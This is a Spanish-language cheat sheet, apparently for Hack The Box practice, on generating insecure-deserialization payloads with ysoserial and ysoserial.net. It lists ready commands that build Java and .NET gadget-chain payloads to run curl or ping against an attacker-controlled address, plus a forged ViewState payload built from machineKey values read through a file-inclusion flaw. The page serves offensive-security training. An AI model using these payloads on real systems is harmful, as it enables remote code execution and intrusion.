ysoserial
ysoserial crea objetos serializados que, al deserializarlos, ejecutan un comando gracias a cadenas de gadgets de librerías conocidas (CommonsCollections en Java, TypeConfuseDelegate o TextFormattingRunProperties en .NET). Primero confirma la ejecución con un ping o una petición HTTP a tu máquina.
- Plataforma
- Java (ysoserial) · .NET (ysoserial.net)
- Web oficial
- github.com/frohoff/ysoserial
- En HTB
- 8 máquinas
Instalación
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
Chuleta de ysoserial
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Java
Payload que hace una petición a tu máquina
java -jar ysoserial-all.jar CommonsCollections6 'curl http://10.10.14.5/ok' | base64 -w0
Con Java 16 o superior falla: usa Java 11 (o un contenedor Docker con Java 8).
.NET (ysoserial.net, desde Windows)
Objeto en base64
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "ping 10.10.14.5" -o base64
JSON.NET
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping 10.10.14.5"
ViewState con las claves de machineKey
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping 10.10.14.5" --path="/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="CLAVE_DESCIFRADO" --validationalg="SHA1" --validationkey="CLAVE_VALIDACION"
Las claves salen del web.config (por ejemplo, leyéndolo con un LFI).
Ningún comando coincide.
Máquinas de HTB donde se usa ysoserial
Sacadas de los capítulos de los vídeos de IppSec en los que aparece ysoserial. El enlace ▶ salta al minuto de esa parte.
Guías que usan ysoserial
- Deserialización insegura: reconocerla y explotarla en Java, .NET, PHP, Python y Node.js 4 min de lectura Reconocer datos serializados por sus primeros bytes (rO0AB, AAEAAAD, O:, gASV), entender las gadget chains y lograr RCE con ysoserial, phpggc o pickle.